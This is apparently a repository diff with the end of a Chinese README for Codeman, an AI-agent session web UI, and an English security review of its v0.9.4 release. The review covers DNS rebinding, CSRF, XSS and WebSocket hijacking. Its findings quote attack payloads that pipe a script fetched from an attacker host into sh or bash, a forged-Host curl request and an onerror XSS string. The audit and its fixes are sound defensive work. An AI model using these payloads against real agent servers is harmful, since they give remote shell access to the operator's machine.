+→  令牌原子性消费（一次性）  →  签发会话 cookie  →  302 跳转到 /
+→  桌面收到通知：「设备已通过二维码认证」  →  自动生成新二维码
+```
+
+只拿到裸隧道 URL（没有二维码）的人，仍会撞上标准密码提示。二维码是快速通道；密码是回退方案。
+
+#### 工作原理
+
+服务端维护一个轮换的、短生命周期、一次性令牌池。每个令牌由一个 256 位密钥（`crypto.randomBytes(32)`）和一个用作 URL 路径中不透明查找键的 6 字符 base62 短码配对组成。二维码编码的 URL 形如 `https://abc-xyz.trycloudflare.com/q/Xk9mQ3` —— 短码是指针，而非密钥本身，因此它绝不会通过浏览器历史、`Referer` 头或 Cloudflare 边缘日志泄露。
+
+每 **60 秒**，服务端自动轮换到一个全新令牌。上一个令牌会保留 **90 秒的宽限期**，以处理你刚好在轮换瞬间扫描的竞争情况 —— 此后即作废。每个令牌都是**一次性**的：手机一旦成功扫描，令牌就被原子性消费，并立即为桌面显示生成一个新的。
+
+#### 安全设计
+
+该设计参考了 ["Demystifying the (In)Security of QR Code-based Login"](https://www.usenix.org/conference/usenixsecurity25/presentation/zhang-xin)（USENIX Security 2025），该研究发现 Top-100 网站中有 47 个因横跨 42 个 CVE 的 6 个关键设计缺陷而易受二维码认证攻击。Codeman 全部六个都做了应对：
+
+| USENIX 缺陷 | 缓解措施 |
+|-------------|------------|
+| **缺陷 1**：缺少一次性强制 | 令牌首次扫描即原子性消费 —— 重放永远失败 |
+| **缺陷 2**：长生命周期令牌 | 60s TTL + 90s 宽限，由定时器自动轮换 |
+| **缺陷 3**：可预测的令牌生成 | `crypto.randomBytes(32)` —— 256 位熵。短码采用拒绝采样以消除取模偏差 |
+| **缺陷 4**：客户端令牌生成 | 仅服务端 —— 令牌在嵌入二维码前绝不离开服务器 |
+| **缺陷 5**：缺少状态通知 | 桌面提示：*「设备 [IP] 已通过二维码认证（Safari）。不是你？[吊销]」* —— 实时 QRLjacking 检测 |
+| **缺陷 6**：会话绑定不足 | 存储 IP + User-Agent 以供审计。通过 API 手动吊销会话。HttpOnly + Secure + SameSite=lax cookie |
+
+#### 时序安全的查找
+
+短码存储在 `Map<shortCode, TokenRecord>` 中。校验使用 `Map.get()` —— 一个基于哈希的 O(1) 查找，不会通过响应时延泄露目标字符串的任何信息。热路径上任何地方都没有逐字符字符串比较，彻底消除了时序侧信道攻击。
+
+#### 速率限制（双层）
+
+二维码认证有自己的速率限制，与密码认证完全独立：
+
+- **按 IP**：同一 IP 失败 10 次二维码尝试即触发 429 封锁（15 分钟衰减窗口）—— 与 Basic Auth 的失败计数器分开，因此打错密码不会消耗你的二维码额度
+- **全局**：所有 IP 合计每分钟 30 次二维码尝试 —— 抵御分布式暴力破解。考虑到 62^6 = 568 亿种可能短码、任意时刻仅约 2 个有效，无论如何暴力破解都在计算上不可行
+
+#### 二维码尺寸优化
+
+URL 被刻意保持精简（`/q/` 路径 + 6 字符码 ≈ 53–56 个字符），以瞄准 **QR 版本 4**（33×33 模块）而非版本 5（37×37）。更小的二维码在低端手机上扫描更快 —— 现代设备读取版本 4 仅需 100–300 毫秒。`/q/` 前缀相比 `/qr-auth/` 省下 7 个字节，仅此一项就足以决定二维码版本的差别。
+
+#### 桌面体验
+
+二维码显示每 60 秒通过 SSE 自动刷新，SVG 直接嵌入事件载荷（约 2–5KB）—— 无需额外 HTTP 请求，刷新低于 50ms。倒计时器显示剩余时间。「重新生成」按钮可即时使所有现有令牌失效并创建一个新的（在你怀疑二维码被拍照时很有用）。
+
+当有人通过二维码认证时，桌面会弹出一个带设备 IP 与浏览器信息的通知 —— 如果不是你，一键即可吊销所有会话。
+
+#### 威胁覆盖
+
+| 威胁 | 为何无效 |
+|--------|-------------------|
+| **二维码截图被分享** | 一次性：首次扫描即消费。60s TTL：攻击者动手前已过期。桌面通知会立即提醒你。 |
+| **重放攻击** | 原子性一次性消费 + 60s TTL。旧 URL 始终返回 401。 |
+| **Cloudflare 边缘日志** | 短码是不透明的 6 字符查找键，而非真正的 256 位令牌。一次性意味着从日志重放永远失败。 |
+| **暴力破解** | 568 亿种组合、任意时刻约 2 个有效、双层速率限制，早在统计可行性之前就已拦截。 |
+| **QRLjacking** | 60s 轮换迫使实时转发。桌面提示提供即时检测。自托管单用户场景使钓鱼难以成立。 |
+| **时序攻击** | 基于哈希的 Map 查找 —— 无字符串比较时序泄露。 |
+| **会话 cookie 窃取** | HttpOnly + Secure + SameSite=lax + 24h TTL。可在 `POST /api/auth/revoke` 手动吊销。 |
+
+#### 横向对比
+
+| 平台 | 模型 | 对比 |
+|----------|-------|------------|
+| **Discord** | 长生命周期令牌、无确认、[屡被利用](https://owasp.org/www-community/attacks/Qrljacking) | Codeman：一次性 + TTL + 通知 |
+| **WhatsApp Web** | 手机确认「关联设备？」，约 60s 轮换 | 轮换相当；WhatsApp 额外加了显式确认（对单用户而言是可接受的取舍） |
+| **Signal** | 临时公钥、端到端加密信道 | 加密更强，但 [2025 年仍被俄罗斯国家级行为者](https://cloud.google.com/blog/topics/threat-intelligence/russia-targeting-signal-messenger)通过社会工程攻破 |
+
+> 完整设计理由、安全分析与实现细节：[`docs/qr-auth-plan.md`](docs/qr-auth-plan.md)
+
+---
+
+## 安全
+
+Codeman 用 `--dangerously-skip-permissions` 启动会话，因此 Web UI 在设计上对任何能访问到它的人都是一个远程代码执行面 —— 整套安全模型的存在就是为了控制*谁*能访问。近期加固（v0.9.0 + v0.9.5）封堵了那些常困扰自托管开发工具的浏览器驱动攻击路径。完整模型：[`docs/security-architecture.md`](docs/security-architecture.md)。
+
+### 网络与访问
+
+- **默认仅环回** —— 绑定 `127.0.0.1`，仅可从本机访问，因此「无密码」默认配置开箱即安全。在未设置 `CODEMAN_PASSWORD` 的情况下绑定非环回主机会*启动但打印一条醒目警告*，并给出三个具体修复方案（设置密码、环回 + 一个带认证的隧道，或用 `--allow-unauthenticated-network` 显式确认）
+- **可选认证，真实会话** —— 通过 `CODEMAN_USERNAME`（默认 `admin`）/ `CODEMAN_PASSWORD` 的 HTTP Basic 认证。成功后签发一个不透明的 256 位 `codeman_session` cookie（`randomBytes(32)`）—— 服务端校验，而非客户端签名，因此无法离线伪造（24h TTL、自动延长、设备上下文审计日志）
+- **按 IP 速率限制** —— 失败 10 次 → `429` 并带 `Retry-After`（15 分钟衰减）。即便攻击者在同一 IP 上猛攻，有效 cookie 或正确密码也能*立即*恢复 —— 这很重要，因为所有隧道流量共享同一个环回 IP。二维码认证有自己独立的限制器
+
+### 始终开启的浏览器加固（v0.9.5）
+
+以下对**每个**请求都生效 —— 在认证之前，即便是默认的无密码环回安装：
+
+- **Host 头允许列表 → 阻断 DNS 重绑定。** 一个被重绑定到 `127.0.0.1` 的自定义域名会在任何处理器运行前被 `403 host not allowed` 拒绝。允许：`localhost`、任意 IP 字面量、绑定主机、`.ts.net` / `.trycloudflare.com` / `.cfargotunnel.com`、当前受管隧道，以及 `CODEMAN_ALLOWED_HOSTS`（在此添加自定义反向代理域名 —— 逗号分隔；精确主机或前导点 `.suffix` 匹配子域名）
+- **跨站 Origin / CSRF 防护。** 对变更状态的方法（`POST`/`PUT`/`PATCH`/`DELETE`），`Origin` 必须通过同一允许列表，否则返回 `403 cross-site request blocked`。*缺失*的 Origin 被允许（因此 `curl`、CLI 与 Claude Code hook 仍可工作）；只有存在但外来、或不透明的 `null` origin 才会被拒绝
+- **原始 `text/plain` 请求体。** 全局解析器不再对 `text/plain` 做 JSON 解析，封堵了那个跨站 `fetch` 能在无预检的情况下把 JSON 走私进写路由的 CORS「简单请求」CSRF 向量
+- **WebSocket Origin 校验。** 终端 WS 升级运行同样的 Host + Origin 检查，失败时以代码 `4003` 关闭（反 CSWSH）
+- **XSS 转义的智能体输出。** AI 衍生的字符串（工具名、命令参数、子智能体描述）在渲染进子智能体 / 活动面板前，于每个注入点都做 HTML 转义
+
+### 输入、文件与响应头
+
+- **模式校验的输入** —— 每个 API 请求体都用 Zod v4 模式检查；一个 `CLAUDE_CODE_*` / `OPENCODE_*` 环境变量前缀允许列表把控每个 CLI 能接收哪些设置
+- **路径限定** —— 文件路由在边界检查前先 `realpath`（无 TOCTOU）；`..`、绝对路径、以及解析到工作目录之外的符号链接都会被拒绝。上限：10 MB 文本预览 / 50 MB 原始与下载；`/api/download` 对敏感路径（`.env`、`*credentials*`、`~/.ssh/`、`.aws/credentials`）做黑名单。SVG/HTML 以 `octet-stream` + `nosniff` + attachment 提供，因此会被下载而非执行
+- **安全响应头** —— `Content-Security-Policy`（`default-src 'self'`，每个例外都逐条列举）、`X-Content-Type-Options: nosniff`、`X-Frame-Options: SAMEORIGIN`、HTTPS 下的 HSTS，以及**仅**对 `localhost` / `127.0.0.1` / `::1` 反射的 CORS
+
+### 供应链与隔离
+
+- **锁定并校验的依赖** —— 安全敏感的传递依赖通过 npm `overrides` 强制为已打补丁版本；每次提交/PR 都检查锁文件完整性（所有条目都解析到 `registry.npmjs.org` 且带 `sha512` 哈希）。公共资源在 CI 中做 NUL 字节扫描与 `node --check` 校验
+- **多实例隔离** —— `CODEMAN_INSTANCE` 同时限定 tmux 套接字（`-L codeman-<name>`）与数据目录（`~/.codeman-<name>`），因此两个实例绝不会互相附着对方的活动会话
+
+> 移动端登录使用一次性、60 秒二维码令牌 —— 完整设计见上文[二维码认证](#二维码认证)（它应对了 USENIX Security 2025 二维码登录研究中的全部 6 个缺陷）。
+
+---
+
+## SSH 替代方案（`sc`）
+
+如果你更喜欢 SSH（Termius、Blink 等），`sc` 命令是一个便于拇指操作的会话选择器：
+
+```bash
+sc              # 交互式选择器
+sc 2            # 快速附着到会话 2
+sc -l           # 列出会话
+```
+
+单数字选择（1–9）、颜色编码的状态、token 计数、自动刷新。用 `Ctrl+A D` 分离。
+
+---
+
+## 键盘快捷键
+
+> Ctrl 绑定在 macOS 上也接受 Cmd。
+
+| 快捷键 | 动作 |
+|----------|--------|
+| `Ctrl/Cmd+W` | 杀掉当前会话 |
+| `Ctrl/Cmd+Tab` | 下一个会话 |
+| `Alt+1`–`Alt+9` | 切换到第 N 个标签 |
+| `Ctrl+Shift+{` / `Ctrl+Shift+}` | 将当前标签左移 / 右移 |
+| `Ctrl/Cmd+L` | 清屏 |
+| `Ctrl+Shift+R` | 恢复终端尺寸 |
+| `Ctrl+Shift+V` | 切换语音输入 |
+| `Ctrl/Cmd +` / `-` | 字体大小 |
+| `Ctrl/Cmd+?` | 键盘帮助 |
+| `Shift+Enter` | 插入换行（发送到终端） |
+| `Escape` | 关闭面板与模态框 |
+
+---
+
+## API
+
+基于 Fastify 的 REST —— **15 个路由模块中约 140 个处理器**，外加一条 SSE 流和一条 WebSocket 终端通道。以下是一个有代表性的子集：
+
+### 会话（Sessions）
+| 方法 | 端点 | 说明 |
+|--------|----------|-------------|
+| `GET` | `/api/sessions` | 列出全部 |
+| `POST` | `/api/quick-start` | 创建 case 并启动会话 |
+| `DELETE` | `/api/sessions/:id` | 删除会话 |
+| `POST` | `/api/sessions/:id/input` | 发送输入 |
+
+### 重生（Respawn）
+| 方法 | 端点 | 说明 |
+|--------|----------|-------------|
+| `POST` | `/api/sessions/:id/respawn/enable` | 启用，带配置与定时器 |
+| `POST` | `/api/sessions/:id/respawn/stop` | 停止控制器 |
+| `PUT` | `/api/sessions/:id/respawn/config` | 更新配置 |
+
+### Ralph / Todo
+| 方法 | 端点 | 说明 |
+|--------|----------|-------------|
+| `GET` | `/api/sessions/:id/ralph-state` | 获取循环状态 + todos |
+| `POST` | `/api/sessions/:id/ralph-config` | 配置跟踪 |
+
+### 编排器（Orchestrator）
+| 方法 | 端点 | 说明 |
+|--------|----------|-------------|
+| `POST` | `/api/orchestrator/start` | 从目标启动编排 |
+| `POST` | `/api/orchestrator/approve` | 批准生成的计划 |
+| `GET` | `/api/orchestrator/status` | 当前阶段 + 进度 |
+| `POST` | `/api/orchestrator/stop` | 停止并清理 |
+
+### 子智能体（Subagents）
+| 方法 | 端点 | 说明 |
+|--------|----------|-------------|
+| `GET` | `/api/subagents` | 列出所有后台智能体 |
+| `GET` | `/api/subagents/:id` | 智能体信息与状态 |
+| `GET` | `/api/subagents/:id/transcript` | 完整活动记录 |
+| `DELETE` | `/api/subagents/:id` | 杀掉智能体进程 |
+
+### 系统（System）
+| 方法 | 端点 | 说明 |
+|--------|----------|-------------|
+| `GET` | `/api/events` | SSE 流 |
+| `GET` | `/api/status` | 完整应用状态 |
+| `POST` | `/api/hook-event` | Hook 回调 |
+| `GET` | `/api/system/update/check` | 检查新发行版 |
+| `POST` | `/api/system/update` | 自更新（git-clone 安装） |
+| `POST` | `/api/clipboard` | 把文本推送到所有已连接浏览器（`{text}`） |
+| `GET` | `/api/sessions/:id/run-summary` | 时间线 + 统计 |
+
+---
+
+## 架构
+
+```mermaid
+flowchart TB
+    subgraph Codeman["CODEMAN"]
+        subgraph Frontend["前端层"]
+            UI["Web UI<br/><small>xterm.js + 智能体窗口</small>"]
+            API["REST API<br/><small>Fastify</small>"]
+            SSE["SSE 事件<br/><small>/api/events</small>"]
+        end
+
+        subgraph Core["核心层"]
+            SM["会话管理器"]
+            S1["会话 (PTY)"]
+            S2["会话 (PTY)"]
+            RC["重生控制器"]
+            ORC["编排器循环"]
+        end
+
+        subgraph Detection["检测层"]
+            RT["Ralph 跟踪器"]
+            SW["子智能体监视器<br/><small>~/.claude/projects/*/subagents</small>"]
+            TW["团队监视器<br/><small>~/.claude/teams/*</small>"]
+        end
+
+        subgraph Persistence["持久化层"]
+            SCR["Mux 管理器<br/><small>(tmux)</small>"]
+            SS["状态存储<br/><small>state.json</small>"]
+        end
+
+        subgraph External["外部"]
+            CLI["AI CLI<br/><small>Claude Code / OpenCode</small>"]
+            BG["后台智能体<br/><small>(Task 工具)</small>"]
+        end
+    end
+
+    UI <--> API
+    API <--> SSE
+    API --> SM
+    SM --> S1
+    SM --> S2
+    SM --> RC
+    SM --> ORC
+    SM --> SS
+    S1 --> RT
+    S1 --> SCR
+    S2 --> SCR
+    RC --> SCR
+    ORC --> SCR
+    SCR --> CLI
+    SW --> BG
+    SW --> SSE
+    TW --> SSE
+```
+
+---
+
+## 开发
+
+```bash
+npm install
+npx tsx src/index.ts web    # 开发模式
+npm run build               # 生产构建
+npm test                    # 运行测试
+```
+
+完整文档见 [CLAUDE.md](./CLAUDE.md)。
+
+---
+
+## 代码库质量
+
+本代码库经历了一次全面的 7 阶段重构，消除了上帝对象、集中了配置，并建立了模块化架构：
+
+| 阶段 | 改了什么 | 影响 |
+|-------|-------------|--------|
+| **性能** | 缓存端点、SSE 自适应批处理、缓冲区分块 | 终端延迟低于 16ms |
+| **路由抽取** | `server.ts` 拆分为 15 个领域路由模块 + 认证中间件 + 端口接口 | server.ts 代码量 **−67%**（6,736 → 2,254） |
+| **领域拆分** | `types.ts` → 16 个领域文件、`ralph-tracker` → 7 个文件、`respawn-controller` → 5 个文件、`session` → 6 个文件 | 不再有上帝文件 |
+| **前端模块** | `app.js` → 18 个抽取模块，横跨基础设施、领域与特性层 | app.js 核心降至 **约 3.4K 行** |
+| **配置合并** | 约 70 个散落的魔法数字 → 10 个领域聚焦的配置文件 | 零跨文件重复 |
+| **测试基础设施** | 共享 mock 库、12 个路由测试文件、统一的 MockSession | 路由处理器可通过 `app.inject()` 测试 |
+
+完整细节：[`docs/archive/code-structure-findings.md`](docs/archive/code-structure-findings.md)
+
+---
+
+## 已发布的包
+
+### [`xterm-zerolag-input`](https://www.npmjs.com/package/xterm-zerolag-input)
+
+[![npm](https://img.shields.io/npm/v/xterm-zerolag-input?style=flat-square&color=22c55e)](https://www.npmjs.com/package/xterm-zerolag-input)
+
+为 xterm.js 提供即时按键反馈的叠加层。通过把输入的字符立即渲染为像素级精准的 DOM 叠加层，消除高 RTT 连接下的感知输入延迟。零依赖、可配置的提示符检测、带 78 个测试的完整状态机。
+
+```bash
+npm install xterm-zerolag-input
+```
+
+[完整文档](packages/xterm-zerolag-input/README.md)
+
+---
+
+## 许可证
+
+MIT —— 见 [LICENSE](LICENSE)
+
+---
+
+<p align="center">
+  <strong>跟踪会话。可视化智能体。掌控重生。让它在你睡觉时持续运行。</strong>
+</p>

docs/reports/security-review-2026-06-09.md

@@ -0,0 +1,149 @@
+# Codeman Security Review — 2026-06-09
+
+> **⚠️ Remediation status (updated 2026‑06‑09):** the two CRITICALs and 5 of the 7
+> HIGHs below were **fixed the same day in commit `c669518` (shipped as 0.9.5)** —
+> an always‑on `Host`‑header + cross‑site `Origin` allowlist (`registerHostGuard`),
+> a raw `text/plain` body parser, a WebSocket `Origin`/`Host` check, and
+> HTML‑escaped subagent‑panel sinks. **The present‑tense "is exploitable" wording
+> below describes the pre‑fix v0.9.4 state.** Still open: **H2** (the self‑updater
+> trusts an unsigned git tag — needs signing infra) and dropping CSP
+> `'unsafe-inline'` (needs a nonce migration; H4's escaping already neutralises the
+> known XSS). Per‑finding breakdown in the *Implementation status* section below;
+> regression tests in `test/network-host-guard.test.ts`.
+
+**Scope:** whole codebase (branch `master`, v0.9.4). Adversarial multi-agent review: 10 dimension specialists → diverse-lens skeptic verification of every finding (HIGH/CRITICAL got 3 independent refutation passes) → completeness-critic sweep. 47 raw findings → **25 survived verification** (+1 from the critic). 22 were refuted (mostly "already inside the OS trust boundary" same-uid claims and doc-accuracy nits). Several exploits were **confirmed live** with `curl` against throwaway test ports.
+
+## TL;DR — the one thing that matters
+
+The default, *documented-as-safe* configuration (loopback bind + no `CODEMAN_PASSWORD`) is **remotely exploitable to RCE by any website the operator merely visits.** Every session runs `--dangerously-skip-permissions`, so "send input to a session" == "run arbitrary shell as the operator." Two missing, standard controls cause almost all of the serious findings:
+
+- **(A) No `Host`-header allowlist** → DNS-rebinding turns a malicious page into a same-origin client of `127.0.0.1`.
+- **(B) No global Origin/CSRF check on state-changing routes, plus a global `text/plain` body parser** → a plain cross-site `fetch` (a CORS "simple request", no preflight) submits JSON to the API. Write-only access is enough for RCE.
+
+Fix (A) + (B) + drop CSP `unsafe-inline` / escape the subagent panel, and the two CRITICALs and 5 of the 7 HIGHs collapse.
+
+> Note: this is *not* a claim that the existing trust model is wrongly documented. `docs/security-architecture.md` is unusually honest. The problem is that the model assumes "loopback + no password" is safe against a browsing operator — and the browser (DNS rebinding + the text/plain parser) breaks that assumption.
+
+---
+
+## CRITICAL
+
+### C1 — No `Host`-header allowlist → DNS rebinding → full API → RCE (default no-auth install)
+`src/web/server.ts:1697` (listen, no host validation) · `src/web/middleware/auth.ts:163-211` (no Host check). Actor: A2 (malicious website) ⇒ A1-equivalent RCE. **3/3 verifiers confirmed; live-confirmed.**
+
+A page on `evil.example` (DNS TTL≈1s) is loaded by the operator, then DNS is rebound to `127.0.0.1`. Subsequent `fetch('http://evil.example:3000/...')` are now **same-origin** with Codeman (so CORS never engages), and with no password there are no credentials to miss. The page does `POST /api/sessions {workingDir}` → reads the session id from the same-origin response → `POST /api/sessions/<id>/input {input:"curl attacker/x|sh\r"}`. Confirmed: `curl -H 'Host: attacker.evil.com' -X POST -d '{"workingDir":"/tmp"}' http://127.0.0.1:<port>/api/sessions` → `200`.
+
+**Fix:** early `onRequest` hook (before routing) that rejects any request whose `Host` is not in `{localhost, 127.0.0.1, ::1, configured --host, CODEMAN_ALLOWED_HOSTS}` with `403`. This is *the* standard anti-rebinding control for localhost dev servers and the single highest-value fix.
+
+### C2 — Global `text/plain` content-type parser JSON-parses every body → cross-site CSRF *without* rebinding
+`src/web/server.ts:710-716`. Actor: A2. **3/3 verifiers confirmed; live-confirmed.**
+
+A global parser registered for `text/plain` runs `JSON.parse` on the body of **every** route. `text/plain` is a CORS *simple* content type, so a cross-origin `fetch(..., {method:'POST', headers:{'Content-Type':'text/plain'}, body:'{...}'})` reaches the handler **with no preflight**. SameSite=lax + reflected-CORS don't help: on the no-auth default there's no cookie to gate, and the side effect happens regardless of whether the attacker can read the response. Confirmed: cross-origin (`Origin: https://evil.com`) `POST /api/sessions` with `Content-Type: text/plain` → `200` (session created); same against `/input` parsed+validated the JSON body.
+
+**Fix:** remove the global `text/plain` JSON parser (parse the one crash-diagnostics body inside its own handler), **and** add a global same-origin/CSRF guard on all non-GET routes (see H3). Combine with C1's Host allowlist so the host comparison itself can't be rebound.
+
+---
+
+## HIGH
+
+### H1 — Self-update is unauthenticated/CSRF-triggerable → forced update + RCE pivot
+`src/web/routes/system-routes.ts:313`. Actor: A1/A2. **3/3 confirmed.**
+`fetch('http://127.0.0.1:3000/api/system/update',{method:'POST',mode:'no-cors'})` from any page (no body, no preflight) kicks off the detached updater on a no-password install. On its own: forced pull/rebuild/restart (availability + forces the latest tag). Chained with H2: full RCE.
+**Fix:** require Origin/CSRF on this route *independent of the password*; refuse self-update when no password is set; mint a confirmation token via a prior GET.
+
+### H2 — Self-updater builds an **unsigned, unverified** git tag (no signature / commit pin) *(contested 2/3)*
+`scripts/self-update.sh:139`. Actor: A5 + A1/A2 trigger.
+`isValidReleaseTag` validates only the *tag name* (`^(codeman|aicodeman)@\d+\.\d+\.\d+$`) and version ordering — never the commit. Anyone who can push a `codeman@9.9.9` tag (or compromise release CI) gets `git checkout --force` + `npm install` (arbitrary lifecycle scripts) + build + restart, as the operator. One verifier refuted on the basis that the *trigger* is auth-gated when a password is set — true, but the default has no password and H1 supplies the trigger.
+**Fix:** verify integrity, not just the name — GPG-signed tags (`git verify-tag` against a shipped maintainer key) or pin to a SHA published out-of-band; `npm ci --ignore-scripts` + an explicit audited build step; pin the remote to the expected GitHub repo.
+
+### H3 — CSRF/Origin validation exists on exactly one route; the RCE-enabling routes have none
+`src/web/routes/session-routes.ts:1570-1600` (only `paste-image` is protected) vs `:229` create, `:595` input, `:635` send-key, `:404` delete. Actor: A2. **3/3 confirmed.**
+The team clearly knows the correct control (it's on `paste-image`) but didn't apply it broadly.
+**Fix:** a shared `onRequest` guard for all non-GET API routes: `Origin`/`Referer` host ∈ Host allowlist **and** `Sec-Fetch-Site == same-origin`. Global, not per-route.
+
+### H4 — Stored XSS in the subagent activity panel (raw AI tool name/inputs → `innerHTML`; `unsafe-inline` ⇒ executes)
+`src/web/public/panels-ui.js:808-811` (and `:1403`). Actor: A3 (AI/subagent/MCP output), reachable by A1/A2. **3/3 confirmed.**
+`renderSubagentDetail()` sets `innerHTML` with un-escaped `a.tool`, `toolDetail.primary`, `displayText`. A subagent tool **name** (no length cap) or a short Bash command like `<img src=x onerror=...>` (28 chars, under the 100-char input truncation) is parsed as HTML in the operator's DOM; CSP `unsafe-inline` lets the `onerror` run → reads cookies, drives every same-origin API (i.e. types commands into a skip-permissions session), or hits the self-updater. `_renderActivityItem` is inconsistent: line 1404 escapes, line 1403 doesn't.
+**Fix:** `escapeHtml()` those fields at the sink; and drop `unsafe-inline` from `script-src` (move inline handlers to `addEventListener`/nonce) so a missed escape can't execute.
+
+### H5 — WebSocket terminal route has no Origin/Host check (CSWSH + rebinding → drives skip-permissions agent)
+`src/web/routes/ws-routes.ts:62`. Actor: A2 / A1-via-tunnel. **3/3 confirmed.**
+WS upgrades aren't subject to SOP; with no password and no Origin/Host check, a cross-site page (or rebound origin) opens `ws://host/ws/sessions/<id>/terminal` and sends `{"t":"i","d":"curl attacker/x|bash\r"}`.
+**Fix:** validate `Origin` + `Host` on the upgrade, `socket.close(4003)` on mismatch (reuse the loopback-origin logic + the C1 Host allowlist).
+
+### H6 — `PUT /api/settings {tunnelEnabled:true}` spawns a public cloudflared tunnel (CSRF/rebinding publishes the authless instance) *(completeness-critic find)*
+`src/web/routes/system-routes.ts:523-535`. Actor: A2 ⇒ A1. **Confirmed; no CSRF on this route.**
+If `cloudflared` is installed (the project encourages it), a cross-site `PUT` flips on a tunnel; the public `*.trycloudflare.com` URL is broadcast over SSE and exposed at `GET /api/tunnel/info` / `/api/tunnel/qr`. The attacker reads it → unauthenticated **internet** access to the skip-permissions API.
+**Fix:** treat tunnel-start as privileged — CSRF/Origin check on `PUT /api/settings`; refuse to start a tunnel when `CODEMAN_PASSWORD` is unset; don't echo the public URL on unauthenticated endpoints.
+
+### (H→operational) The no-password default *is* the unauthenticated RCE surface once reachable off-host *(contested 2/3)*
+`src/web/middleware/auth.ts:45-46`. This is the *documented* trust boundary, so it's operational hardening rather than a code bug: on `--host 0.0.0.0`/LAN/tunnel without a password, any client `POST /input` → RCE. **Fix:** fail-closed (or auto-generate+print a random password) when binding non-loopback / starting a tunnel without one; constrain `workingDir` to an allowlist (cases dir / `$HOME`) to shrink blast radius.
+
+---
+
+## MEDIUM
+
+| # | Finding | Location | Fix |
+|---|---------|----------|-----|
+| M1 | **Command injection via *discovered* tmux session name** — `muxName` taken verbatim from a live tmux session (only `startsWith('codeman-')` filtered), flows into double-quoted `execSync` in `sessionExists()`/`killSession()` **without** `isValidMuxName`. Reached on boot via `startInteractive→muxSessionExists`. Actor A4 (shared `tmux -L codeman` socket). | `src/tmux-manager.ts:925`, `:1065` | Convert these two sinks to argv form (`execFile('tmux',[...,'-t',muxName])`) like the others, **and/or** reject discovered names failing `SAFE_MUX_NAME_PATTERN` in `reconcileSessions()`. |
+| M2 | **Forged hook events over a loopback-terminating tunnel** — `/api/hook-event` bypasses auth on loopback IP, but cloudflared/tailscale-serve connect *from* `127.0.0.1` (Fastify `trustProxy:false`). A forged `idle_prompt`/`stop` drives a respawn that injects the operator's update prompt + `/clear` + `/init` into a live skip-permissions session; forged `transcript_path` streams arbitrary readable files to SSE. The in-code comment "prevents forged hook events via tunnel/LAN" is **false**. *(contested 2/3; impact real)* | `src/web/middleware/auth.ts:83-90` | Gate the bypass on a per-boot shared secret in the hook curl (`X-Codeman-Hook-Secret`), not `req.ip`. Require a password when a tunnel is active. Reject `transcript_path` outside the session workingDir. Fix the comment. |
+| M3 | **Session cookie binds nothing** — recorded `ip`/`ua` never enforced on reuse → stolen-cookie replay from anywhere; no absolute lifetime cap (refresh-on-get extends forever). | `src/web/middleware/auth.ts:102-106` | Compare `record.ip` (+ optional UA hash) on reuse; cap absolute session lifetime. |
+| M4 | **Non-loopback bind w/o password starts and only warns** (0.9.0 warn-don't-block) → real A1 exposure on misconfig; warning is a one-time stderr line. | `src/web/server.ts:1708-1724`, `src/cli.ts:486-500` | Consider fail-closed default; at minimum log to `session-lifecycle.jsonl` + persistent UI banner. |
+| M5 | **tail-file SSE route escapes the per-session boundary** — uses a *divergent* validator that `~`-expands and whitelists `/var/log` + `~/logs`, so an authorized caller streams files outside every session's workingDir (e.g. `/var/log/auth.log`). Doc overclaims "all file routes share `validateSessionFilePath`". | `src/web/routes/file-routes.ts:341`, `src/file-stream-manager.ts:400` | Route through `validateSessionFilePath()`, or drop the extra roots + `~` expansion; fix the doc. |
+| M6 | **Session display name accepts arbitrary chars** (`z.string().max(100)`, no regex) — safe only by downstream escaping (which H4 shows isn't uniform). | `src/web/schemas.ts:135,138,384` | Strip control chars / angle brackets at the schema (defense-in-depth). |
+| M7 | **Blind SSRF via attacker-supplied web-push endpoint**, triggerable through the loopback-exempt `/api/hook-event` (and via C2/CSRF). Stored endpoint URL is fetched server-side. | `src/web/server.ts:1630` (+ `src/push-store.ts`) | Allowlist known push-service hosts; reject endpoints resolving to loopback/private/link-local/169.254.169.254; re-check IP at send time (rebind-safe). |
+
+---
+
+## LOW / INFO (hardening)
+
+- **L1** QR per-IP failure limiter + oldest-cookie eviction + body-less `/api/auth/revoke` → session/lockout DoS, all amplified behind a shared tunnel IP. `system-routes.ts:182-194` *(contested)*.
+- **L2 / L3** CSP `script-src 'unsafe-inline'` (nullifies XSS defense-in-depth app-wide) + unused `https://cdn.jsdelivr.net` with no SRI. `auth.ts:170-176` *(contested; tie into H4 fix)*.
+- **L4** `trustProxy:false` + loopback tunnels defeat the IP-based hook-event exemption (root cause of M2). `auth.ts:79-90`.
+- **L5** ralph-wizard file route uses bypassable `startsWith()` prefix containment. `case-routes.ts:424`.
+- **L6** Push subscription store has no cap → unbounded growth. `push-store.ts:70-95`.
+- **L7** VAPID private key / state / settings / audit log written `0644` in a `775` data dir; the implied `0o700` hardening is a no-op. `config/instance.ts:54` *(contested — A4/same-host only)*.
+- **L8** Unauthenticated `DELETE /api/sessions[/:id]` on the default install. `session-routes.ts:404` *(contested)*.
+- **INFO** Wide `record`/`passthrough` schemas allow arbitrary-key mass-assignment into per-instance JSON config. `schemas.ts:505,509-516`.
+- **INFO** `docs/security-architecture.md:301` overclaims supply-chain hardening and omits the self-updater as a trust surface (see H1/H2).
+
+---
+
+## What's solid (credit where due)
+
+The verifiers **refuted 22** candidate findings — the defenses below held under adversarial scrutiny:
+
+- **Request-facing command injection is well defended.** Every shell-interpolated value from an HTTP route (`workingDir`, `model`, `allowedTools`, `effort`, `resumeSessionId`, OpenCode config, env-override key/value, span-displays URL, cloudflared port, update tag, tail path) is either argv-form (no shell) or allowlist-regex-validated at the sink. `muxName=codeman-<uuid8>` is server-generated. The only gap is the *discovered*-name path (M1).
+- **Self-update command construction** is hardened (argv spawn, anchored `isValidReleaseTag`, double-quoted `$TAG`). The weakness is *integrity* (H2), not injection.
+- **Primary file-read boundary** `validateSessionFilePath` (realpath-before-check + `relative()` containment) correctly resists `../`, absolute paths, symlinks, sibling-prefix tricks; image upload uses `lstat`+`O_NOFOLLOW`+`O_EXCL`.
+- **Input validation** funnels through Zod + `parseBody`; env-override allowlist enforces the `CLAUDE_CODE_`/`OPENCODE_` prefix **and** a `BLOCKED_ENV_KEYS` set (`PATH`, `LD_PRELOAD`, `NODE_OPTIONS`, …) re-checked at apply time.
+- **Auth pipeline internals** are competent: timing-safe Basic compare, 256-bit opaque server-side session tokens, rejection-sampled base62 QR codes over 256-bit tokens with single-use atomic consumption, `logger:false` (no credential logging).
